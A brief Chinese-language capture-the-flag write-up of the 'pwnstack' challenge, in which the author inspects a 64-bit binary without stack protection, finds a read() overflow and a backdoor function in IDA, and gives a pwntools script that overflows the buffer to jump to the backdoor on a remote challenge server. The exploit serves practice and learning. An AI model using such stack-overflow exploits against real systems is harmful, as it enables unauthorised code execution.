pwnstack
-
下载附件,拖到kali里面,终端查看信息
-
64位系统,没有栈保护
-
将 pwn2 文件拖到 IDA64 进行分析
-
点 main 函数,f5反汇编,继续点击 vuln 函数查看
-
看到 read(),可用于填充数据使其栈溢出(填充数据大于本身)
-
其地址为 0xA0
-
接着查看 backdoor 函数,当然会有后门
-
查看该函数地址,即为我们要覆盖的地址 0x400762
-
构造payload 其中要加上 0x08 (64系统的头部位置)
-
from pwn import * target = remote("61.147.171.105",64910) //建立连接 payload = b'a'*(0xA0) +b'a'*(0x08)+ p64(0x400762) target.sendline(payload) //发送数据 target.interactive()
-
至此已成艺术
声明:本人 newbie ,很多原理有待学习,比如汇编语言,函数调用,栈溢出原理等等。
浅浅记录一下。